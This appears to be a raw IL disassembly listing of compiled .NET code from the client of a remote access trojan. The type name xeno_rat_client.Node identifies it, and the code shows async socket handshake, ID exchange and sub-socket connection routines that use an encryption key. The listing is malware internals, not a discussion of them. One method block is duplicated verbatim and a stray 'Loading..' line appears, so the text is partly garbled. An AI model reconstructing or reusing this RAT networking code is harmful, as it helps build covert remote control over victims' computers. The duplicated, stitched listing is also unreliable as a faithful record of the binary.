0000401cldarg.0
0000401dldflda <>t__builder
00004022ldloca.s 4
00004024ldarg.0
00004025call 0x2B000025
0000402aleave IL_0391
0000402fldarg.0
00004030ldfld <>u__1
00004035stloc.s 4
00004037ldarg.0
00004038ldflda <>u__1
0000403dinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004043ldarg.0
00004044ldc.i4.m1
00004045dup
00004046stloc.0
00004047stfld <>1__state
0000404cldloca.s 4
0000404ecall GetResult
00004053stloc.3
00004054ldloc.1
00004055ldfld sock
0000405aldloc.3
0000405bcallvirt SendAsync
00004060callvirt GetAwaiter
00004065stloc.s 5
00004067ldloca.s 5
00004069call get_IsCompleted
0000406ebrtrue.s IL_0119
00004070ldarg.0
00004071ldc.i4.1
00004072dup
00004073stloc.0
00004074stfld <>1__state
00004079ldarg.0
0000407aldloc.s 5
0000407cstfld <>u__2
00004081ldarg.0
00004082ldflda <>t__builder
00004087ldloca.s 5
00004089ldarg.0
0000408acall 0x2B000026
0000408fleave IL_0391
00004094ldarg.0
00004095ldfld <>u__2
0000409astloc.s 5
0000409cldarg.0
0000409dldflda <>u__2
000040a2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000040a8ldarg.0
000040a9ldc.i4.m1
000040aadup
000040abstloc.0
000040acstfld <>1__state
000040b1ldloca.s 5
000040b3call GetResult
000040b8brtrue.s IL_0129
000040baldc.i4.0
000040bbstloc.2
000040bcleave IL_0376
000040c1ldloc.1
000040c2ldfld sock
000040c7callvirt ReceiveAsync
000040cccallvirt GetAwaiter
000040d1stloc.s 4
000040d3ldloca.s 4
000040d5call get_IsCompleted
000040dabrtrue.s IL_0185
000040dcldarg.0
000040ddldc.i4.2
000040dedup
000040dfstloc.0
000040e0stfld <>1__state
000040e5ldarg.0
000040e6ldloc.s 4
000040e8stfld <>u__1
000040edldarg.0
000040eeldflda <>t__builder
000040f3ldloca.s 4
000040f5ldarg.0
000040f6call 0x2B000025
000040fbleave IL_0391
00004100ldarg.0
00004101ldfld <>u__1
00004106stloc.s 4
00004108ldarg.0
00004109ldflda <>u__1
0000410einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004114ldarg.0
00004115ldc.i4.m1
00004116dup
00004117stloc.0
00004118stfld <>1__state
0000411dldloca.s 4
0000411fcall GetResult
00004124stloc.3
00004125ldloc.1
00004126ldfld sock
0000412bcallvirt ResetRecvTimeout
00004130ldloc.1
00004131ldarg.0
00004132ldfld <comp>5__2
00004137ldloc.3
00004138call ByteArrayCompare
0000413dbrfalse IL_034d
00004142ldloc.1
00004143ldfld sock
00004148ldarg.0
00004149ldfld type
0000414ecallvirt IntToBytes
00004153stloc.s 6
00004155ldloc.1
00004156ldfld sock
0000415bldloc.s 6
0000415dcallvirt SendAsync
00004162callvirt GetAwaiter
00004167stloc.s 5
00004169ldloca.s 5
0000416bcall get_IsCompleted
00004170brtrue.s IL_021b
00004172ldarg.0
00004173ldc.i4.3
00004174dup
00004175stloc.0
00004176stfld <>1__state
0000417bldarg.0
0000417cldloc.s 5
0000417estfld <>u__2
00004183ldarg.0
00004184ldflda <>t__builder
00004189ldloca.s 5
0000418bldarg.0
0000418ccall 0x2B000026
00004191leave IL_0391
00004196ldarg.0
00004197ldfld <>u__2
0000419cstloc.s 5
0000419eldarg.0
0000419fldflda <>u__2
000041a4initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000041aaldarg.0
000041abldc.i4.m1
000041acdup
000041adstloc.0
000041aestfld <>1__state
000041b3ldloca.s 5
000041b5call GetResult
000041babrtrue.s IL_022b
000041bcldc.i4.0
000041bdstloc.2
000041beleave IL_0376
000041c3ldarg.0
000041c4ldfld type
000041c9brtrue IL_02b6
000041celdloc.1
000041cfldfld sock
000041d4callvirt ReceiveAsync
000041d9callvirt GetAwaiter
000041destloc.s 4
000041e0ldloca.s 4
000041e2call get_IsCompleted
000041e7brtrue.s IL_0292
000041e9ldarg.0
000041ealdc.i4.4
000041ebdup
000041ecstloc.0
000041edstfld <>1__state
000041f2ldarg.0
000041f3ldloc.s 4
000041f5stfld <>u__1
000041faldarg.0
000041fbldflda <>t__builder
00004200ldloca.s 4
00004202ldarg.0
00004203call 0x2B000025
00004208leave IL_0391
0000420dldarg.0
0000420eldfld <>u__1
00004213stloc.s 4
00004215ldarg.0
00004216ldflda <>u__1
0000421binitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004221ldarg.0
00004222ldc.i4.m1
00004223dup
00004224stloc.0
00004225stfld <>1__state
0000422aldloca.s 4
0000422ccall GetResult
00004231stloc.3
00004232ldloc.1
00004233ldfld sock
00004238ldloc.3
00004239ldc.i4.0
0000423acallvirt BytesToInt
0000423fstloc.s 7
00004241ldloc.1
00004242ldloc.s 7
00004244stfld ID
00004249br IL_033d
0000424eldloc.1
0000424fldarg.0
00004250ldfld id
00004255stfld ID
0000425aldloc.1
0000425bldfld sock
00004260ldarg.0
00004261ldfld id
00004266callvirt IntToBytes
0000426bstloc.s 8
0000426dldloc.1
0000426eldfld sock
00004273ldloc.s 8
00004275callvirt SendAsync
0000427acallvirt GetAwaiter
0000427fstloc.s 5
00004281ldloca.s 5
00004283call get_IsCompleted
00004288brtrue.s IL_0330
0000428aldarg.0
0000428bldc.i4.5
0000428cdup
0000428dstloc.0
0000428estfld <>1__state
00004293ldarg.0
00004294ldloc.s 5
00004296stfld <>u__2
0000429bldarg.0
0000429cldflda <>t__builder
000042a1ldloca.s 5
000042a3ldarg.0
000042a4call 0x2B000026
000042a9leave.s IL_0391
000042abldarg.0
000042acldfld <>u__2
000042b1stloc.s 5
000042b3ldarg.0
000042b4ldflda <>u__2
000042b9initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000042bfldarg.0
000042c0ldc.i4.m1
000042c1dup
000042c2stloc.0
000042c3stfld <>1__state
000042c8ldloca.s 5
000042cacall GetResult
000042cfbrtrue.s IL_033d
000042d1ldc.i4.0
000042d2stloc.2
000042d3leave.s IL_0376
000042d5ldloc.1
000042d6ldarg.0
000042d7ldfld type
000042dcstfld SockType
000042e1ldc.i4.1
000042e2stloc.2
000042e3leave.s IL_0376
000042e5leave.s IL_0352
000042e7pop
000042e8leave.s IL_0352
000042ealdc.i4.0
000042ebstloc.2
000042ecleave.s IL_0376
000042eestloc.s 9
000042f0ldarg.0
000042f1ldc.i4.s -2
000042f3stfld <>1__state
000042f8ldarg.0
000042f9ldnull
000042fastfld <comp>5__2
000042ffldarg.0
00004300ldflda <>t__builder
00004305ldloc.s 9
00004307call SetException
0000430cleave.s IL_0391
0000430eldarg.0
0000430fldc.i4.s -2
00004311stfld <>1__state
00004316ldarg.0
00004317ldnull
00004318stfld <comp>5__2
0000431dldarg.0
0000431eldflda <>t__builder
00004323ldloc.2
00004324call SetResult
00004329ret
00003f98
0000436c
0000436c<ConnectSubSockAsync>d__11::MoveNext:
0000436cldarg.0
0000436dldfld <>1__state
00004372stloc.0
00004373ldarg.0
00004374ldfld <>4__this
00004379stloc.1
0000437aldloc.0
0000437bldc.i4.3
0000437cble.un.s IL_001b
0000437eldloc.0
0000437fldc.i4.4
00004380beq IL_0278
00004385ldc.i4.0
00004386stloc.3
00004387nop
00004388ldloc.0
00004389switch (IL_008f, IL_010f, IL_0190, IL_01fd)
0000439eldarg.0
0000439fldc.i4.2
000043a0ldc.i4.1
000043a1ldc.i4.6
000043a2newobj .ctor
000043a7stfld <socket>5__2
000043acldarg.0
000043adldfld <socket>5__2
000043b2ldloc.1
000043b3ldfld sock
000043b8ldfld sock
000043bdcallvirt get_RemoteEndPoint
000043c2call ConnectAsync
000043c7callvirt GetAwaiter
000043ccstloc.s 6
000043celdloca.s 6
000043d0call get_IsCompleted
000043d5brtrue.s IL_00ac
000043d7ldarg.0
000043d8ldc.i4.0
000043d9dup
000043dastloc.0
000043dbstfld <>1__state
000043e0ldarg.0
000043e1ldloc.s 6
000043e3stfld <>u__1
000043e8ldarg.0
000043e9ldflda <>t__builder
000043eeldloca.s 6
000043f0ldarg.0
000043f1call 0x2B000027
000043f6leave IL_02ce
000043fbldarg.0
000043fcldfld <>u__1
00004401stloc.s 6
00004403ldarg.0
00004404ldflda <>u__1
00004409initobj System.Runtime.CompilerServices.TaskAwaiter
0000440fldarg.0
00004410ldc.i4.m1
00004411dup
00004412stloc.0
00004413stfld <>1__state
00004418ldloca.s 6
0000441acall GetResult
0000441fldarg.0
00004420ldfld <socket>5__2
00004425ldloc.1
00004426ldfld sock
0000442bldfld EncryptionKey
00004430ldarg.0
00004431ldfld type
00004436ldloc.1
00004437ldfld ID
0000443cldarg.0
0000443dldfld OnDisconnect
00004442call ConnectAndSetupAsync
00004447callvirt GetAwaiter
0000444cstloc.s 8
0000444eldloca.s 8
00004450call get_IsCompleted
00004455brtrue.s IL_012c
00004457ldarg.0
00004458ldc.i4.1
00004459dup
0000445astloc.0
0000445bstfld <>1__state
00004460ldarg.0
00004461ldloc.s 8
00004463stfld <>u__2
00004468ldarg.0
00004469ldflda <>t__builder
0000446eldloca.s 8
00004470ldarg.0
00004471call 0x2B000028
00004476leave IL_02ce
0000447bldarg.0
0000447cldfld <>u__2
00004481stloc.s 8
00004483ldarg.0
00004484ldflda <>u__2
00004489initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
0000448fldarg.0
00004490ldc.i4.m1
00004491dup
00004492stloc.0
00004493stfld <>1__state
00004498ldloca.s 8
0000449acall GetResult
0000449fstloc.s 7
000044a1ldarg.0
000044a2ldloc.s 7
000044a4stfld <sub>5__3
000044a9ldc.i4.1
000044aanewarr System.Byte
000044afdup
000044b0ldc.i4.0
000044b1ldarg.0
000044b2ldfld retid
000044b7conv.u1
000044b8stelem.i1
000044b9stloc.s 4
000044bbldarg.0
000044bcldfld <sub>5__3
000044c1ldloc.s 4
000044c3callvirt SendAsync
000044c8callvirt GetAwaiter
000044cdstloc.s 9
000044cfldloca.s 9
000044d1call get_IsCompleted
000044d6brtrue.s IL_01ad
000044d8ldarg.0
000044d9ldc.i4.2
000044dadup
000044dbstloc.0
000044dcstfld <>1__state
000044e1ldarg.0
000044e2ldloc.s 9
000044e4stfld <>u__3
000044e9ldarg.0
000044ealdflda <>t__builder
000044efldloca.s 9
000044f1ldarg.0
000044f2call 0x2B000029
000044f7leave IL_02ce
000044fcldarg.0
000044fdldfld <>u__3
00004502stloc.s 9
00004504ldarg.0
00004505ldflda <>u__3
0000450ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00004510ldarg.0
00004511ldc.i4.m1
00004512dup
00004513stloc.0
00004514stfld <>1__state
00004519ldloca.s 9
0000451bcall GetResult
00004520pop
00004521ldc.i4.1
00004522newarr System.Byte
00004527dup
00004528ldc.i4.0
00004529ldc.i4.1
0000452astelem.i1
0000452bstloc.s 5
0000452dldloc.1
0000452eldloc.s 5
00004530call SendAsync
00004535callvirt GetAwaiter
0000453astloc.s 9
0000453cldloca.s 9
0000453ecall get_IsCompleted
00004543brtrue.s IL_021a
00004545ldarg.0
00004546ldc.i4.3
00004547dup
00004548stloc.0
00004549stfld <>1__state
0000454eldarg.0
0000454fldloc.s 9
00004551stfld <>u__3
00004556ldarg.0
00004557ldflda <>t__builder
0000455cldloca.s 9
0000455eldarg.0
0000455fcall 0x2B000029
00004564leave IL_02ce
00004569ldarg.0
0000456aldfld <>u__3
0000456fstloc.s 9
00004571ldarg.0
00004572ldflda <>u__3
00004577initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000457dldarg.0
0000457eldc.i4.m1
0000457fdup
00004580stloc.0
00004581stfld <>1__state
00004586ldloca.s 9
00004588call GetResult
0000458dpop
0000458eldarg.0
0000458fldfld <sub>5__3
00004594stloc.2
00004595leave IL_02ba
0000459apop
0000459bldc.i4.1
0000459cstloc.3
0000459dleave.s IL_0233
0000459fldloc.3
000045a0ldc.i4.1
000045a1bne.un.s IL_029f
000045a3ldc.i4.1
000045a4newarr System.Byte
000045a9stloc.s 10
000045abldloc.1
000045acldloc.s 10
000045aecall SendAsync
000045b3callvirt GetAwaiter
000045b8stloc.s 9
000045baldloca.s 9
000045bccall get_IsCompleted
000045c1brtrue.s IL_0295
000045c3ldarg.0
000045c4ldc.i4.4
000045c5dup
000045c6stloc.0
000045c7stfld <>1__state
000045ccldarg.0
000045cdldloc.s 9
000045cfstfld <>u__3
000045d4ldarg.0
000045d5ldflda <>t__builder
000045daldloca.s 9
000045dcldarg.0
000045ddcall 0x2B000029
000045e2leave.s IL_02ce
000045e4ldarg.0
000045e5ldfld <>u__3
000045eastloc.s 9
000045ecldarg.0
000045edldflda <>u__3
000045f2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000045f8ldarg.0
000045f9ldc.i4.m1
000045fadup
000045fbstloc.0
000045fcstfld <>1__state
00004601ldloca.s 9
00004603call GetResult
00004608pop
00004609ldnull
0000460astloc.2
0000460bleave.s IL_02ba
0000460dstloc.s 11
0000460fldarg.0
00004610ldc.i4.s -2
00004612stfld <>1__state
00004617ldarg.0
00004618ldflda <>t__builder
0000461dldloc.s 11
0000461fcall SetException
00004624leave.s IL_02ce
00004626ldarg.0
00004627ldc.i4.s -2
00004629stfld <>1__state
0000462eldarg.0
0000462fldflda <>t__builder
00004634ldloc.2
00004635call SetResult
0000463aret
0000436c
0000436c<ConnectSubSockAsync>d__11::MoveNext:
0000436cldarg.0
0000436dldfld <>1__state
00004372stloc.0
00004373ldarg.0
00004374ldfld <>4__this
00004379stloc.1
0000437aldloc.0
0000437bldc.i4.3
0000437cble.un.s IL_001b
0000437eldloc.0
0000437fldc.i4.4
00004380beq IL_0278
00004385ldc.i4.0
00004386stloc.3
00004387nop
00004388ldloc.0
00004389switch (IL_008f, IL_010f, IL_0190, IL_01fd)
0000439eldarg.0
0000439fldc.i4.2
000043a0ldc.i4.1
000043a1ldc.i4.6
000043a2newobj .ctor
000043a7stfld <socket>5__2
000043acldarg.0
000043adldfld <socket>5__2
000043b2ldloc.1
000043b3ldfld sock
000043b8ldfld sock
000043bdcallvirt get_RemoteEndPoint
000043c2call ConnectAsync
000043c7callvirt GetAwaiter
000043ccstloc.s 6
000043celdloca.s 6
000043d0call get_IsCompleted
000043d5brtrue.s IL_00ac
000043d7ldarg.0
000043d8ldc.i4.0
000043d9dup
000043dastloc.0
000043dbstfld <>1__state
000043e0ldarg.0
000043e1ldloc.s 6
000043e3stfld <>u__1
000043e8ldarg.0
000043e9ldflda <>t__builder
000043eeldloca.s 6
000043f0ldarg.0
000043f1call 0x2B000027
000043f6leave IL_02ce
000043fbldarg.0
000043fcldfld <>u__1
00004401stloc.s 6
00004403ldarg.0
00004404ldflda <>u__1
00004409initobj System.Runtime.CompilerServices.TaskAwaiter
0000440fldarg.0
00004410ldc.i4.m1
00004411dup
00004412stloc.0
00004413stfld <>1__state
00004418ldloca.s 6
0000441acall GetResult
0000441fldarg.0
00004420ldfld <socket>5__2
00004425ldloc.1
00004426ldfld sock
0000442bldfld EncryptionKey
00004430ldarg.0
00004431ldfld type
00004436ldloc.1
00004437ldfld ID
0000443cldarg.0
0000443dldfld OnDisconnect
00004442call ConnectAndSetupAsync
00004447callvirt GetAwaiter
0000444cstloc.s 8
0000444eldloca.s 8
00004450call get_IsCompleted
00004455brtrue.s IL_012c
00004457ldarg.0
00004458ldc.i4.1
00004459dup
0000445astloc.0
0000445bstfld <>1__state
00004460ldarg.0
00004461ldloc.s 8
00004463stfld <>u__2
00004468ldarg.0
00004469ldflda <>t__builder
0000446eldloca.s 8
00004470ldarg.0
00004471call 0x2B000028
00004476leave IL_02ce
0000447bldarg.0
0000447cldfld <>u__2
00004481stloc.s 8
00004483ldarg.0
00004484ldflda <>u__2
00004489initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
0000448fldarg.0
00004490ldc.i4.m1
00004491dup
00004492stloc.0
00004493stfld <>1__state
00004498ldloca.s 8
0000449acall GetResult
0000449fstloc.s 7
000044a1ldarg.0
000044a2ldloc.s 7
000044a4stfld <sub>5__3
000044a9ldc.i4.1
000044aanewarr System.Byte
000044afdup
000044b0ldc.i4.0
000044b1ldarg.0
000044b2ldfld retid
000044b7conv.u1
000044b8stelem.i1
000044b9stloc.s 4
000044bbldarg.0
000044bcldfld <sub>5__3
000044c1ldloc.s 4
000044c3callvirt SendAsync
000044c8callvirt GetAwaiter
000044cdstloc.s 9
000044cfldloca.s 9
000044d1call get_IsCompleted
000044d6brtrue.s IL_01ad
000044d8ldarg.0
000044d9ldc.i4.2
000044dadup
000044dbstloc.0
000044dcstfld <>1__state
000044e1ldarg.0
000044e2ldloc.s 9
000044e4stfld <>u__3
000044e9ldarg.0
000044ealdflda <>t__builder
000044efldloca.s 9
000044f1ldarg.0
000044f2call 0x2B000029
000044f7leave IL_02ce
000044fcldarg.0
000044fdldfld <>u__3
00004502stloc.s 9
00004504ldarg.0
00004505ldflda <>u__3
0000450ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00004510ldarg.0
00004511ldc.i4.m1
00004512dup
00004513stloc.0
00004514stfld <>1__state
00004519ldloca.s 9
0000451bcall GetResult
00004520pop
00004521ldc.i4.1
00004522newarr System.Byte
00004527dup
00004528ldc.i4.0
00004529ldc.i4.1
0000452astelem.i1
0000452bstloc.s 5
0000452dldloc.1
0000452eldloc.s 5
00004530call SendAsync
00004535callvirt GetAwaiter
0000453astloc.s 9
0000453cldloca.s 9
0000453ecall get_IsCompleted
00004543brtrue.s IL_021a
00004545ldarg.0
00004546ldc.i4.3
00004547dup
00004548stloc.0
00004549stfld <>1__state
0000454eldarg.0
0000454fldloc.s 9
00004551stfld <>u__3
00004556ldarg.0
00004557ldflda <>t__builder
0000455cldloca.s 9
0000455eldarg.0
0000455fcall 0x2B000029
00004564leave IL_02ce
00004569ldarg.0
0000456aldfld <>u__3
0000456fstloc.s 9
00004571ldarg.0
00004572ldflda <>u__3
00004577initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000457dldarg.0
0000457eldc.i4.m1
0000457fdup
00004580stloc.0
00004581stfld <>1__state
00004586ldloca.s 9
00004588call GetResult
0000458dpop
0000458eldarg.0
0000458fldfld <sub>5__3
00004594stloc.2
00004595leave IL_02ba
0000459apop
0000459bldc.i4.1
0000459cstloc.3
0000459dleave.s IL_0233
0000459fldloc.3
000045a0ldc.i4.1
000045a1bne.un.s IL_029f
000045a3ldc.i4.1
000045a4newarr System.Byte
000045a9stloc.s 10
000045abldloc.1
000045acldloc.s 10
000045aecall SendAsync
000045b3callvirt GetAwaiter
000045b8stloc.s 9
000045baldloca.s 9
000045bccall get_IsCompleted
000045c1brtrue.s IL_0295
000045c3ldarg.0
000045c4ldc.i4.4
000045c5dup
000045c6stloc.0
000045c7stfld <>1__state
000045ccldarg.0
000045cdldloc.s 9
000045cfstfld <>u__3
000045d4ldarg.0
000045d5ldflda <>t__builder
000045daldloca.s 9
000045dcldarg.0
000045ddcall 0x2B000029
000045e2leave.s IL_02ce
000045e4ldarg.0
000045e5ldfld <>u__3
000045eastloc.s 9
000045ecldarg.0
000045edldflda <>u__3
000045f2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000045f8ldarg.0
000045f9ldc.i4.m1
000045fadup
000045fbstloc.0
000045fcstfld <>1__state
00004601ldloca.s 9
00004603call GetResult
00004608pop
00004609ldnull
0000460astloc.2
0000460bleave.s IL_02ba
0000460dstloc.s 11
0000460fldarg.0
00004610ldc.i4.s -2
00004612stfld <>1__state
00004617ldarg.0
00004618ldflda <>t__builder
0000461dldloc.s 11
0000461fcall SetException
00004624leave.s IL_02ce
00004626ldarg.0
00004627ldc.i4.s -2
00004629stfld <>1__state
0000462eldarg.0
0000462fldflda <>t__builder
00004634ldloc.2
00004635call SetResult
0000463aret
0000436c
Loading..